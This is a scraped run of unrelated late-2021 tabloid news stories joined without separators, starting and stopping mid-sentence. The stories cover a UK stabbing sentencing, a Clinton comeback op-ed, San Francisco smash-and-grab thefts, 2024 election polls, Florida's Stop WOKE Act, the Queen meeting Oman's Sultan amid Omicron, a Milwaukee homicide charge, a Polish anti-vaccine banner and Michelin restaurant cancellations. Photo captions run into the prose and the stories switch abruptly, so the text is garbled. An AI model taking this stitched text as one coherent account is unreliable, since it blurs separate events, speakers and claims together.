see you in ten years.' Cunliffe admitted intent to cause grievous bodily harm but denied attempted murder saying he did not intend to kill Mr German and stabbed him 'in the heat of the moment.' He had 32 offences on his record including common assault, possession of an offensive weapon, battery, criminal damage, assault by beating of an emergency worker. In 2019 he was jailed for battering his next-door neighbour with a brick after the victim asked him to 'shut him' during an argument with Miss Mather. In mitigation his counsel Oliver Jarvis said: 'It is very clear this was not premeditated but spontaneous. He went to the address to collect his clothes and did not take a weapon with him. 'He did not expect Mr German to be at the address. The defendant's relationship with Miss Mather had just ended and he over-reacted at seeing him. 'There are a number of stab wounds but overall the attack was short lived. These injuries were not life threatening albeit they are serious. This was to an extent a crime of passion. He just saw red, he deeply regrets his actions and he wishes to apologise.' Sentencing Cunliffe Judge Hilary Manley told him he was a dangerous man and added: 'You have a history of losing your temper and attacking others. Messages between you and Shannon Mather illustrate your childish and obsessive need to control her, and to always have the last word. 'You would berate her for not permitting you to monitor her phone use and her contacts with others, and on one occasion you made dark threats about being prepared to serve time if you were crossed. 'When you arrived and saw Peter German, a man you knew to have been in a previous liaison with Shannon Mather, you immediately saw red, and your jealousy and irrational rage, fuelled in part by the amount of alcohol you had drunk, became all-consuming. 'You attacked Peter German, pummelling him on a sofa before going to the kitchen solely to obtain a weapon to finish him off. As he cowered back on the sofa, instinctively drawing his legs up in order to pull back from your advance, you stabbed him to the perineum, causing a very painful and unpleasant injury which could have caused permanent disability. 'During those few minutes you, in a jealous and controlling rage, intended to kill Peter German. I am equally satisfied that afterwards, you regretted what you had done. Nonetheless, while you were in that house, you intended to kill him. 'It is clear that you consider everyone else to be the problem - but you are the problem. Your selfish need to control your partner and your inability to control your temper - indeed your preparedness to lose control and behave as you wish when you feel that you have been wronged.' With President Joe Biden's sinking approval numbers and Vice President Kamala Harris' deep unpopularity, the Democratic presidential field that was so crowded in 2020 now appears nearly bare. It's the perfect opportunity for Hillary Clinton, 74, to stage a comeback, political commentator Joe Concha explained in an op-ed published Wednesday. 'Hillary Clinton always seemed to believe the mantle of "First Female President" was her birthright,' Concha wrote for The Hill. 'And given how pathetic the field is on the Democratic side with or without Joe Biden, she may just get a second chance at winning the office her husband so famously made infamous.' Clinton's 2016 stunning election defeat at the hands of Donald Trump caught political pundits and election watchers by surprise. As a former First Lady, US Senator from New York and Secretary of State, Clinton's credentials on paper made her one of the most experienced White House contenders in history. A myriad of reasons has since been offered for her loss, including a misunderstanding of Americans' discontent with the political establishment and former FBI Director James Comey's actions related to a probe into Clinton's emails. Hillary Clinton could be setting the stage for a comeback, The Hill columnist Joe Concha predicts Biden would be 82 if he was elected president in 2024, beating his own previously held record for the oldest person sworn in to the White House She said as recently as this past Sunday - amid a slew of new interviews this month - that she still holds Comey accountable. 'I do think but for Jim Comey and the stunt he pulled 10 days before the election, I would have won,' Clinton told NBC host Willie Geist in an interview. But Clinton has been out of the political world for five years now, and since then, it doesn't appear Democrats have any viable rising stars in sight for the next presidential election. 'The Democratic bench is about as deep as the New York Jets' these days,' Concha wrote. 'Andrew Cuomo? No longer governor and thoroughly disgraced. Gov. Gavin Newsom (D-Calif.)? He had to spend major time and resources just to avoid being ousted in deep-blue California during a recall election earlier this year.' 'Transportation Secretary Pete Buttigieg? Not even 40 years old, and he has a supply chain crisis on his resume. Sen. Bernie Sanders (I-Vt.)? Sen. Elizabeth Warren (D-Mass.)? Sen. Cory Booker (D-N.J.)?' Republicans, by contrast, are mostly set on Trump. Multiple surveys of Republican voters have also shown that they overwhelmingly want him to be their 2024 candidate. Ex-Vice President Mike Pence and Florida Governor Ron DeSantis have been floated as other potential possibilities but don't poll anywhere close to the former president. Clinton said on Sunday that she would 'bet on' her former rival staging a 2024 comeback. But Harris and Biden's sinking approval numbers are signs that Democrats may not have a candidate ready for 2024 She made a call to action while keeping her own future intentions vague: 'Are we going to give in to all these lies and this disinformation and this organized effort to undermine our rule of law and our institutions, or are we going to stand up to it?' Biden, at least for now, intends to run for a second term - though he would already be in his 80s before it started. His historic selection of Harris to be his vice president also came with the assumption she would take the Democratic mantle when he was done, but her deep unpopularity coupled with damaging headlines have weakened her potential candidacy. The most recent data from poll aggregator FiveThirtyEight has Biden with roughly 50 percent disapproval and a mere 43.3 percent approval rating - close to the lowest he's ever had while president. Harris' disapproval rating among voters is at a near-tie with Biden, but even fewer people - 41.3 percent - approve of her job as vice president. Meanwhile a recent poll shows Trump and Biden also at a near-dead heat in a potential 2024 rematch - though Trump's policies win out. Biden and Trump would be in a near-tie in a 2024 rematch, a recent poll found Biden leads Trump by just a single percentage point, according to a recent Wall Street Journal poll, splitting the candidates 46 percent to 45 percent. The survey's margin of error is a significantly larger gap of 2.5 percent. But 48 percent of respondents to the poll said they preferred Trump's policies to Biden's, while 46 percent said the opposite. In Wednesday's op-ed Concha also points to an interview Clinton did last week promoting her Masterclass session during which she tearfully read part of what would have been her 2016 victory speech. In a sane world, she would have been laughed out of the room for reading such a speech. But this felt more like a trial balloon in an effort to see if there is still an appetite for the Clinton brand,' the political insider wrote. House Speaker Nancy Pelosi on Wednesday finally denounced her hometown San Francisco's rampant smash and grab looting as 'absolutely outrageous'. But she stopped short of endorsing Mayor Breed's plan to increase policing and review zero bail policies Pelosi called out what she termed an 'attitude of lawlessness' in the country as mobs of robbers have targeted luxury boutiques and major retailers San Francisco and cities across the US. Pelosi commented on the 'outrageous' robberies, some of which were planned through online messaging apps according to law enforcement and pointed to legislation being developed in the House to improve tracking of online sales, where stolen goods get pedaled. She was asked to comment after San Francisco Mayor London Breed announced a crackdown in the city. Breed demanded people to be 'less tolerant of all the bull***t that has destroyed our city.' Pelosi said: 'It's absolutely outrageous. Obviously, it cannot continue. 'But the fact is that there is an attitude of lawlessness in our country that springs from I don't know where.' 'It's absolutely outrageous.' House Speaker Nancy Pelosi denounced smash-and-grab robberies, and said there was 'lawlessness' in the country 'And we cannot have that lawlessness become the norm. And these people have they coordinate with each other. And they plan traffic patterns and the rest, so that they can reach their goal and depart very quickly,' she added. 'And some of it is, again, [targeted] high-level stores as the retailers have told us and some of it is your local Walgreens. But none of it is acceptable. And again, it has to be stopped,' she vowed. She touted a bipartisan bill at the House Energy and Commerce Committee, the Integrity, Notification, and Fairness in Online Retail Marketplaces for Consumers (INFORM Consumers) Act. It directs online platforms to collect information on large third-party sellers, including their government ID, bank account, and tax ID information, while providing information for consumers to verify. 'Because what people do is they steal things and sell them online,' said Pelosi. 'They have to establish their legitimacy if they're going to be sold online.' She also pointed to a Judiciary Committee bill to 'incentivize' online platforms to weed out sellers of counterfeit products. Pelosi sought to contrast the organized robberies with other types of theft. 'And again, showing that people are not able to profit from that. It isn't like punish somebody stealing something to go home because they don't have the money to buy. This is about stealing for profit. They have to prove where it came from. It's outrageous. And it must, I agree with the mayor, it must be stopped,' she said. 'It's not just San Francisco. It's an it's an our entire country. And that's evidenced by the appeals that we are receiving from across the country for the legislation,' Pelosi said. Breed took aim at looters on Tuesday. 'It's time the reign of criminals who are destroying our city, it is time for it to come to an end,' she fumed. 'And it comes to an end when we take the steps to more aggressive with law enforcement. More aggressive with the changes in our policies and less tolerate of all the bulls*** that has destroyed our city.' 'In recent months we've not only seen a number of high-profile incidents of brazen robberies and car break-ins but also street behavior and criminal activity especially in the Tenderloin that has become far too normal and cannot continue to be tolerated,' she said, San Francisco's CBS affiliate reported. 'All of our residents, our workers and everyone who visits our city should feel safe no matter what part of town they are in. I know San Francisco is a compassionate city. But we're not a city where anything goes. Our compassion should not be mistaken for weakness or indifference.' 'This isn't 'The Godfather' by any stretch,' said San Mateo County District Attorney Steve Wagstaffe Monday, of the string of 'smash and grab' robberies plaguing the Southern California community in recent months, amid increased crime spurred by the pandemic and lax burglary laws implemented by the state. 'It's the modern version of 'Hey, there's a party tonight' and suddenly you have 100 kids showing up.' Amid the rash of looting, some are pointing to the city's DA Chesa Boudin and a 2014 state law making theft of less than $950 a misdemeanor crime. Protesters have gone after Boudin as the city's crime rate spiked over the previous year. He, too, has vowed to crack down on the looters. Wagstaffe is one of several San Francisco prosecutors tasked with tackling the daunting task of quelling organized retail theft, as part of a newly formed coalition of prosecutors investigating the incidents. The task force, comprised of several Bay Area attorneys, further revealed that robbers used Snapchat and other social-media apps and messaging services to coordinate their heists. The tactics used by the perpetrators, which police concede is something that they have never seen before, make catching or identifying the suspects increasingly difficult. A suspect was seen running away with an armful of merchandise after stealing from a Louis Vuitton store in San Francisco's Union Square on November 19. Five arrests have since been made Footage from the aftermath shows the glass door was shattered in the incident, and the shelves were completely empty What's more, police reveal, when suspects are apprehended in regards to the attacks - which in some cases see 90 suspects convene on one location - they often do not have names or information about others who were present. A spokesperson for Snap Inc., the company that oversees multimedia messaging app Snapchat, said in a statement Monday to The Wall Street Journal that her team has looked into the issue raised by San Francisco police regarding the robberies, and asserted that they have yet to find any evidence suggesting such activity on the app. Officers have already made a string of arrests in relation to the late-November attacks, which police previously posited were related. Three arrests have been made in connection with the coordinated attack on a Nordstrom Inc. store in the wealthy Bay Area suburb of Walnut Creek, California, on November 20. An estimated 90 people overran the posh boutique and made off with more than $100,000 of merchandise before escaping in 25 separate cars that had their license plates removed or covered, prosecutors said. An estimated 90 people overran a Nordstrom Inc. store in the wealthy Bay Area suburb of Walnut Creek, California, on November 20 and made off with more than $100,000 of merchandise, escaping in cars that had their license plates removed or covered According to officers and witnesses on the scene, several of the suspects donned ski masks and crowbars during the store attack in the San Francisco suburb. Suspects also assaulted employees while fleeing the scene, with one hit with pepper spray during what police called a 'clearly a planned event.' Walnut Creek police said they arrested two suspects and recovered a gun. Five others have also been arrested in relation to a similar strike on a San Francisco store the day prior, which saw somewhere between 20 and 40 people storm a Louis Vuitton in the the city's Union Square and make off with thousands of dollars of products. Meanwhile, police across the county in Minneapolis, where a roving group of thieves targeted three separate Best Buy stores on November 26, have revealed that they have identified several suspects in the startling strikes, but have yet to make any arrests. Law-enforcement officials told the Journal Monday that all the suspects arrested used social media to help coordinate the attacks, with many favoring the popular app Snapchat, which automatically deletes users' messages once they are sent, delivered, and opened - which police say may entice prospective offenders. The sources further divulged to the outlet that the groups, commonly known as 'flash mobs' in reference to the size of such groups and the duration of their attacks, come together to commit the thefts after one organizer posts a target and a time on the app. A map shows the locations of some of the major smash-and-grab robberies that have recently taken place in Southern California The officials declined to provide the specificities as to how suspects come to find such posts online, which may be hidden in private groups on various social media apps, including Snapchat. Investigators believe that the recent spate of burglaries in the Bay Area were timed around the verdict in the trial of Kyle Rittenhouse, the Illinois teen who was acquitted on November 19 of killing two people during riots in Kenosha, Wisconsin, last year. Police say that suspects planned the thefts at that time because they likely discerned that law-enforcement officials would be distracted by prospective backlash over the verdict. With that said, after Rittenhouse's verdict, the Bay Area saw a relentless string of audacious 'smash-and-grab' robberies, including an incident involving a gaggle of hammer-wielding masked bandits who ransacked jewelry, sunglasses and clothing stores at the Southland Mall in the San Jose suburb of Hayward on November 21. That same evening, packs of thieves ransacked a sunglasses store and a Lululemon store in San Jose, stealing nearly $50,000 in merchandise. That week, there was also a string of attacks on San Francisco stores in the city's downtown area and in Union Square, including the Louis Vuitton, as well as a Burberry and Bloomingdale's. Another incident, on November 19, saw roving bands of thieves brandishing hammers and crowbars hit a string of high-end retailers, including Louis Vuitton, Burberry and Bloomingdales, as well as a Walgreens pharmacy and several marijuana dispensaries, in the vicinity of Union Square in San Francisco, a high-end area popular with tourist that was crowded with holiday shoppers. Many blame the influx of incidents on the voter-approved measure Proposition 47 - passed by California voters on November 5, 2014 - which reclassified felony thefts cases under $950 to misdemeanors. However, the bill does spell out more severe consequences for groups of two or more people who conspire the commit such crimes - which would spell trouble for suspects currently being apprehended in relation to the large-scale, coordinated strikes. The policy states that if two or more person's conspire to 'cheat and defraud any person or any property, by any means which are in themselves criminal' they can face a year in county prison, a fine of $10,000, or a combination of the two. The three suspects arrested in connection with the Walnut Creek Nordstrom robbery have been charged with several crimes, including second-degree robbery, a felony that warrants a sentence of up to five years, and organized retail theft, which can be viewed as either a felony or a misdemeanor depending on the circumstances surrounding the case. The suspects have yet to entered pleas, police say, and a spokesman for the Contra Costa County public defender's office further revealed that none of the alleged miscreants have been assigned legal representation. The five suspects in San Francisco's Union Square Louis Vuitton heist, meanwhile, have been charged with multiple felonies, including looting during a state of emergency and grand theft. Richard Shikman, an attorney for one of the suspects in the Louis Vuitton case, 28-year-old Kimberly Cherry, declined to comment on the charges leveled against his client when asked by the the Journal, asserting that he does not believe the 20 to 40 suspects were part of a tightknit group. 'This isn't like an organized thing where everyone knows each other,' Shikman told the paper Monday. The attorney added that he was not aware about the reported use of social media to help plan the robberies. All five have entered not-guilty pleas in relation to the November 19 attack. The development in the investigations into the recent spate of smash and grab incidents comes as reports of larceny theft - shoplifting from a person or business - are up nearly 17 percent to more than 28,000 from the same time last year. A whopping 58 per cent of U.S. voters don't think Joe Biden should run for reelection in 2024, while 56 per cent also say they don't want Donald Trump to run in the next presidential election. If Biden didn't run, according to a Morning Consult/Politico poll released Wednesday, Vice President Kamala Harris has the plurality of votes to replace him with 31 per cent saying they would want her on the ticket if not Biden in 2024. Transportation Secretary Pete Buttigieg is in second place with 11 per cent. Senator Elizabeth Warren and Representative Alexandria Ocasio Cortez are tied for third place with 8 per cent each even though AOC is not old enough to run for president. When broken down by party, 60 per cent of Democrats said Biden should seek a second term, while only 9 per cent of Republicans felt the same way. Among GOP voters, 86 per cent say Biden shouldn't run for reelection and 31 per cent of Democrats also don't want to give the the president another four years. A new poll shows 58% of registered voters don't want President Joe Biden to run for reelection The poll shows only 60% of Democratic poll respondents want Biden to run again in 2024 If Biden does not run, Vice President Kamala Harris is in first place to be his replacement on the ticket with 31% of voters favoring her The same poll asked voters what they feel about Trump running for president again in 2024 the results were just as split among the parties. Overall, 39 per cent of respondents are OK with him running, but 56 per cent don't want him to make another bid. Sixty-nine per cent of Republicans want Trump in the White House again and only 27 per cent don't want another run from the ex-president. Among Democrats, however, a whopping 82 per cent don't want Trump running for reelection and only 14 per cent say they do want him to run. It's not immediately clear why, but of the 1,998 registered voters polled in the survey, the Democrats or left leaners may feel the former president running is good because he could possibly be defeated again in 2024. A majority of independent voters hope neither Biden nor Trump runs again in 2024. Fifty-nine per cent of independent voters saying no to Trump and 67 per cent say Biden shouldn't seek a second consecutive term. When voters were asked if Donald Trump should run in 2024, 56% said no compared to the 39% who say yes Biden has long said that he will run for reelection after his four years are up, snuffing rumors that he was only running in 2020 to defeat Trump and help usher in a replacement of his choosing. Trump has also teased a run in 2024 but says he won't announce until after the 2022 midterm elections. The former president told conservative radio host Hugh Hewitt in an interview earlier this month that his supporters would be 'angry' if he didn't launch a bid. Biden's approval rating has dipped to 43.3 per cent, according to a rolling average by FiveThirtyEight. His disapproval has spiked to 50.7 per cent. Vice President Harris' approval stands at nearly the same, a Tuesday Hill/HarrisX poll revealed. Florida Gov. Ron DeSantis on Wednesday introduced the Stop WOKE Act, a bill to ban critical race theory teaching in schools and workplaces across the state. The bill would codify a ban put in place by the state Department of Education earlier this year on the teaching in K-12 schools, as well as enact new restrictions on private workplaces. The new statute will be introduced during the next legislative session. It would allow parents to file lawsuits against school districts accused of teaching critical race theory, where attorney fees will be recovered 'when they prevail,' the governor said in a press conference. 'A lot of times these people will fear lawsuits more than a fine from the state Department of Education because when you do a lawsuit, you get discovery, and you're subject to that, and when they say they're not doing CRT and then you have all this information showing that they are doing it, it really is an uncomfortable position for them,' DeSantis said. 'I think that gives parents the ability to go in and ensure that our state standards are being followed.' Additionally, it would protect teachers 'pushing back against unlawful mandates from their elected district leadership,' and gives the State Board of Education enforcement authority in K-12 settings. The bill also includes provisions for employees to protect themselves against 'corporate wokeness,' or training in critical race theory. It would give employees a private cause of action against discrimination in the workplace. 'The proposed legislation would make clear that corporations and public sector employers violate the Florida Civil Rights Act when they subject their employees to training that espouses race or sex stereotyping or scapegoating including critical race theory,' according to a press release. 'We believe that this corporate CRT, it's basically corporate-sanctioned racism, and they're trying to shove it down these employees' throats, we believe that that violates the Florida civil rights laws,' DeSantis said. The governor cited diversity training programs in companies like Bank of America, Verizon and Google. DeSantis said also said critical race theory training has become a lucrative industry, and the bill will defund any public institution that brings in consultants to teach it Parents have complained that their children are being taught concepts of white privilege and institutional racism He also said critical race theory training has become a lucrative industry, and the bill will defund any public institution that brings in consultants to teach it. 'They basically will get tens of thousands of dollars to go in and do a training, sometimes in schools, sometimes in businesses, basically saying, 'Okay, pay me $50,000 so I can teach your employees how racist capitalism is or something like that,' DeSantis said. 'They bring a lot of this into those institutions and they call it equity, (but) just understand when you hear 'equity' used, that is just an ability for people to smuggle in their ideology,' DeSantis said. Critical race theory is an educational concept that claims racism is a social construct that has been embedded in American consciousness and institutions. However, the term is loosely defined. Many schools have insisted they do not teach critical race theory and said it is a college-level theory, parents have complained that their children are being taught concepts of white privilege and institutional racism. Others have pointed to teachings of 'anti-racism' advocates like Nikole Hannah-Jones, author of the 1619 Project, Ibram X. Kendi and Robin DeAngelo. Florida Sen. Shevrin Jones, a Democrat and vice-chair on the state's education committee, said in a statement that 'DeSantis and his administration know full well that CRT is not taught in K-12 schools or workplaces.' 'It's unfortunate that instead of running on forward-looking ideas to improve people's daily lives, Republicans would rather manufacture a crisis out of a non-issue, all in the hopes of fanning the flames of a culture war for political gain,' Jone said. Jones added: 'There will be questions about race, a social construct, both in our history and in our present. We do children a disservice by hiding, lying, or covering up the truth especially as we are tasked with setting them up for long-term success and the tools needed to envision the better future and society that they are going to create.' At least 13 states have enacted some sort of ban on critical race theory and other such restrictions on the teaching have been introduced in Congress. Advertisement The Queen made a rare public appearance today in order to welcome the Sultan of Oman and his wife in person at Windsor Castle. Her Majesty, 95, wearing a pale blue dress, her trademark pearls and a sapphire brooch, was pictured smiling as she shook hands with Haitham bin Tariq al Said and greeted him at her Berkshire castle. The Middle Eastern ruler was joined by his wife, Her Highness The Honourable Lady Sayyida Ahad Bint Abdullah Bin Hamad Al Busaidiyah during the visit. The Queen is still carrying out only light duties, including virtual and the occasional in-person audiences, after being ordered to rest by royal doctors and spending a night in hospital to undergo tests on October 20. Her face-to-face meeting with the Omani ruler is a demonstration of the importance the UK places on its relationship with the Gulf state. Sultan Haitham bin Tariq, a former culture and heritage minister who studied at Oxford, came to power after the death of his cousin Sultan Qaboos - the Arab world's longest-serving ruler - last year. His visit comes as the UK today announced its highest ever daily coronavirus case number as the highly-transmissible Omicron variant continues to rise. The Queen made a rare public appearance today in order to welcome the Sultan of Oman, Haitham bin Tariq al Said, at Windsor Castle Her Majesty, 95, was pictured smiling as met with the Sultan of Oman and his wife, Her Highness The Honourable Lady Sayyida Ahad Bint Abdullah Bin Hamad Al Busaidiyah The monarch is still carrying out only light duties, including virtual and the occasional in-person audiences, after being ordered to rest by royal doctors A record 78,610 people tested positive in the past 24 hours, eclipsing the previous highest count by more than 10,000 when 68,053 were recorded on January 8 at the peak of the second wave. Officially, only a third of today's cases were attributed to Omicron but Government modelling predicts 400,000 people are catching the mutant virus every day, with the strain spreading faster than testing can keep up. Meanwhile, the Queen is still to make a final decision on whether to hold her traditional pre-Christmas family party next week. Plans are fully in place for the festive lunch the monarch hosts each year for her extended family, and preparations are under way. But it is understood the Queen is still considering whether the get-together should happen amid rising Covid cases and the surge in the Omicron variant. The Queen is due to hold the lunch next Tuesday at Windsor, where she has been staying for most of the pandemic, The Sun reports. Last year's gathering was unable to take place due to the Covid-19 crisis. Most years, the Queen invites her children, grandchildren and great-grandchildren to join her at Buckingham Palace before she departs for her annual Christmas stay at Sandringham. The pre-Christmas celebration gives the head of state a chance to catch up with relatives who are unable to travel to Norfolk for Christmas Day. The wider family is also usually invited, including the Queen's cousins - the Gloucesters, the Duke of Kent and the Michaels of Kent. The Queen's face-to-face meeting with the Omani ruler is a demonstration of the importance the UK places on its relationship with the Gulf state Haitham bin Tariq Al Said, Oman's former culture minister, came to power after the death of his cousin Sultan Qaboos The Queen walks towards her plane with the Sultan Qaboos bin Said al Said, before she departs Muscat Airport for home in 2010 However the decision over whether a Christmas gathering will take place this year comes as senior SAGE scientists, public health officials and NHS leaders warned today warned that the NHS could be overwhelmed by January if current projections are to be believed, piling pressure on No10 to hit the panic button on even tougher Covid curbs. The UK Health Security Agency today announced another 4,671 lab-confirmed Omicron cases, bringing the official count to 10,017. This number is much lower than the real toll because only a small number of positive tests are analysed for variants. Senior ministers from across England, Scotland, Wales and Northern Ireland met at a Cobra meeting this afternoon to plan for a 'UK-wide response' to Omicron. The PM's spokesman said today: 'We've had success throughout in sharing information and approaches, and we'll continue to do that.' Nicola Sturgeon yesterday re-introduced social distancing in pubs, restaurants and shops, and advised Scots to cut down on indoor mixing to just three households. The Welsh Government has also warned it could announce some further Covid restrictions for the Christmas period due to the spread of the Omicron variant. But Transport Secretary Grant Shapps insisted this Christmas will be a 'good deal happier than last' and said England's current batch of restrictions working from home guidance, vaccine passports for large venues and masks on public transport and in shops were 'sensible' and 'proportionate'. Meanwhile Dr Jenny Harries, head of the UK Health Security Agency, warned Omicron posed the 'biggest threat' yet and could put the NHS in 'serious peril'. She told MPs: 'I am sure for example that the numbers that we see on data over the next few days will be quite staggering compared to the rate of growth that we have seen in cases for previous variants. 'The real potential risk here and I would underline that because we are still learning a lot about the variant is in relation to its severity, clinical severity, and therefore whether those cases turn into severe disease, hospitalisations and deaths. 'We are still at too early a stage for that, in fact the world probably is still at too early a stage to be clear. 'The difficulty is that the growth of this virus has a doubling time, doubling days, at the moment which is shortening, i.e. it is doubling faster, growing faster and in most regions in the UK it is now under two days. 'When it started we were estimating about four or five. So if you think of that growth rate right across the UK and we are starting to see it and to feel it now in London particularly but yesterday particularly around Manchester and we are very sure there are levels growing across most communities in the UK now, although there is quite a lot of regional variation still.' Top SAGE modeller Professor Graham Medley also admitted he feared the super-strain could trigger a 'very large' wave of hospitalisations because it is so transmissible, while vaccine adviser Professor Adam Finn called for action to halt the 'alarming' spread of the virus. A Wisconsin woman has been charged with murdering a man she had recently met on Facebook by repeatedly stabbing, kicking and running him over with his own SUV after the pair spent the day together drinking alcohol and snorting cocaine. Lydia Carmona-Cartagena, 23, was arrested on Friday in Milwaukee on charges of first-degree intentional homicide and felony use of a dangerous weapon stemming from the killing of 41-year-old Chad Wilson, a local advocate for former prisoners who was featured in a 2016 documentary about criminal justice reform. According to a criminal complaint against Carmona-Cartagena obtained by The Daily Beast, the mother-of-one told investigators that she ran over Wilson multiple times 'to make sure he was dead' because she claimed that he threatened to pull a gun on her, and she thought he was a gang member and had access to guns. The case began unfolding just before 6am on Thursday, when police responded to the area of North 60th and West Stark streets in Milwaukee for a report of a homicide. Scroll down for video Lydia Carmona-Cartagena, 23 (left), has been charged with first-degree intentional homicide and felony use of a dangerous weapon for allegedly repeatedly stabbing and running over Chad Wilson, 41 (right) A criminal complaint says Carmona-Cartagena used Wilson's own black Cadillac (pictured) to run him over several times, including after taking a spin around the block The incident took place on the morning of December 9, as Wilson was driving Carmona-Cartagena home after an alcohol- and cocaine-fueled date Officers found Wilson lying in the street, suffering from multiple stab wounds and other injuries all over his body, and pronounced him dead at the scene. An autopsy performed by the Milwaukee Medical Examiner's Office has determined that Wilson died of blunt-force trauma, and his manner of death was ruled a homicide. When police tracked down Carmona-Cartagena at her house, she was behind the wheel of Wilson's black 2011 Cadillac SRX SUV, which had blood on the passenger side headlight and grill. Police observed that the 23-year-old also had blood on her. As she was being arrested, Carmona-Cartagena made a rambling, unsolicited statement, telling officers: 'I know why I hit him for my safety, but I was hoping that he was still ok. That's just the kind of person I am, but I 100% refuse because I am 23 years old and I have a two year old at home and there's no way you guys would be able to force me to go to a doctor when I'm feeling completely fine.' The complaint states that the woman 'also told officers [Wilson] said he was going to pull a gun on her, so she ran him over.' Detectives later interviewed several eyewitnesses, one of whom reported seeing Carmona-Cartagena and Wilson 'tussling' in the street, followed by the man yelling 'Help!' '[Carmona-Cartagena] then walked over and kicked the male in the face while he was on the ground "like a dog," the witness recounted. Carmona-Cartagena said, according to the complaint, that she hit Wilson several times 'to make sure he was dead' because she thought he was a gang member and would retaliate The 23-year-old murder suspect then allegedly got behind the wheel of Wilson's SUV and hit the man with the vehicle three or four times, then 'drove around the block' and ran the man over again. '[Witness] said that ultimately she saw the female run over the male's neck and head,' the complaint alleges. Several people recalled seeing Carmona-Cartagena standing over Wilson's lifeless body before getting back in his SUV and driving away as police vehicles raced towards the crime scene. When interviewed by homicide detectives, Carmona-Cartagena said that she had met Wilson through Facebook about a week or two ago, but they only got together in person on Wednesday. The young mother said that Wilson had picked her up in his black Cadillac earlier in the day, and the two of them spent the next 24 hours drinking alcohol and doing drugs, including cocaine. At the time of her arrest, Carmona-Cartagena was covered in blood and made a rambling statement In the course of their date, Carmona-Cartagena told police that Wilson became angry at her for putting a lighter and cups on his table, so she asked him to drive her home. On the way to her house, the woman said Wilson pulled over on Stark Street and told her to get out of the vehicle, which upset her because she was carrying a large bag of clothes. The woman said she then took out a knife, approached Wilson and began to stab him, inflicting wounds to the legs and abdomen. Wilson fought back and eventually wrestled the knife out of the woman's hands, according to the complaint. Carmona-Cartagena said she took Wilson's car keys and a shoulder bag from him, got in the driver's seat of his Cadillac and tried to run him over with it, but missed a couple of times before she was 'finally able to him him in the street.' The complaint states: 'she saw he was still moving after she ran him over the first time, she she ran him over a few more times to make sure he was dead. She stated she ran him over the first time to kill him.' According to the filing, Carmona-Cartagena told detectives that she knew she had numerous opportunities to leave, 'but she thought he was a gang member and had access to guns and would come and retaliate.' Carmona-Cartagena is seen sobbing during her initial court appearance on Monday, which concluded with a judge setting her bail at $100,000 Carmona-Cartagena told police she walked up to Wilson 'and knew he was dead so she leaned over and closed his eyes. She then left the scene when she heard the sirens getting closer. She drove to her residence and a squad pulled up at her house a short time later.' Wilson was described by those who knew him as an activist who dedicated his later years to helping ex-convicts like himself reintegrate into society. He appeared in the 2016 documentary Milwaukee 53206, which followed several current and former inmates as they struggled to turn their lives around. According to the movie's description, Wilson was a drug dealer and spent 15 years going in and out of prison. After regaining his freedom, he reconnected with his children and became involved in several local organizations that provide assistance to formerly incarcerated people. 'It's with total sadness and heartache to reflect on the passing of my friend Chad Wilson,' Keith McQuirter, director of Milwaukee 53206, wrote in a Facebook post. 'He opened his heart and life to the world during the making of the documentary MILWAUKEE 53206 and his story impacted people all across the country.' Meanwhile, Carmona-Cartagena made her initial court appearance on Monday, during which she was seen sobbing as a prosecutor described her alleged offenses. A judge set her bail at $100.000, reported WISN. Carmona-Cartagena is due back in court on December 23. If convicted as charged, she could face up to a life in prison plus five years. An Auschwitz-style banner at a Polish Covid vaccine protest run by far-right politicians was condemned today as 'shameful' and 'mindless' by Poland's prime minister and the Auschwitz Museum. The banner featured the words 'Vaccination makes you free' on an arch shaped to echo the one that reads 'Work makes you free' outside the Nazi concentration camp. It appeared at a demonstration in Warsaw on Tuesday organised by deputies of the far-right Confederation party against what it says is Poland's programme of forced vaccinations. The Auschwitz-Birkenau complex of camps were set up on Polish soil by Nazi Germany during World War Two. Politicians stood beneath a sign (pictured) that said 'Vaccination makes you free', echoing the style and wording of the entrance sign to Auschwitz More than 1.1 million people, mostly Jews, died there in Birkenau's gas chambers or from starvation, cold and disease. The Auschwitz Museum, which was established to preserve the camp, said on Twitter: 'The appropriation of the symbol of the suffering of the victims Auschwitz... is a scandalous manifestation of moral corruption. 'It is particularly shameful when Polish lawmakers do it.' Prime Minister Mateusz Morawiecki said in a Facebook post the banner painted 'a dramatic and dark picture of how low some politicians and protesters can fall in mindless, anti-vaccine rhetoric.' Jeszcze pare ujec na wypadek, gdyby mowili, ze to "przez chwile" i "prowokacja", Braun kilkukrotnie oglada napis, pose Berkowicz po odwroceniu sie, wesolutko sie smieje pic.twitter.com/w7v0iXM1wU gromota (@gromotapl) December 14, 2021 Artur Dziambor pisze, ze to nie ich baner, tylko "kogos z tumu". Tym kims z tumu byo srodowisko Justyny Sochy, asystentki spoecznej Brauna, ktora rowniez wystepowaa na tym wiecu. Kilka dni wczesniej paradowaa po Warszawie i parokrotnie ustawiaa ten napis pod sejmem. pic.twitter.com/coLiNXLZwc gromota (@gromotapl) December 14, 2021 The sign reads 'Work makes you free' outside the Nazi concentration camp of Auschwitz The anti-vax protest came after increased curbs in Poland to fight the spread of the disease More than million people died at the hands of the Nazis in Auschwitz. Pictured: Women at the train station ramp of the concentration camp in around 1944 Poland has tightened its Covid curbs in the face of persistently high daily cases and deaths. It has lowered the number of unvaccinated people who can be in public spaces like restaurants as well as announcing plans for compulsory vaccination of doctors, teachers and security service personnel. Confederation lawmaker Robert Winnicki said on Twitter that the banner had appeared before the start of the demonstration and that the people carrying it had been asked to take it away, but that it was an expression of 'social indignation'. Poland's daily death toll from COVID-19 during the fourth wave of the pandemic climbed to a record 669 on Wednesday. Diners looking for a taste of fine dining look to be in luck as thousands of punters across the country drop their dinner reservations at Britain's most exclusive restaurants amid mounting fears over Covid. Last-minute reservations are being accepted at vaunted Michelin-star venues across the UK, as celebrity chefs grapple with the reality of empty tables over the normally-busy festive break. Heston Blumenthal's three Michelin star The Fat Duck in Bray, Berkshire, is offering tables for parties of four at peak times in January, while Le Gavroche in London can squeeze diners in as early as Saturday, December 18. Meanwhile, two Michelin star pub The Hand and Flowers in Marlow, Buckinghamshire is offering tables for two at 9pm in just two days time. Industry experts fear the Government's increasingly alarmist messages surrounding the Omicron mutant strain are affecting customer confidence over what should be a peak period for pubs, bars and restaurants. Festive takings are expected to fall by up to 40 per cent in December - crippling venues that survived by a thread during previous lockdowns and expect to receive no financial support this time around. And celebrity chef Tom Kerridge today warned 'restaurants will crumble' under new Covid-19 rules unless the Government steps in after revealing one of his eateries faced the grim reality of 654 cancellations over the course of a week. The waiting list can stretch to up to three months at the exclusive two Michelin star Le Gavroche in London But booking a table on the restaurant's website came without hitch, with last-minute tables available as soon as 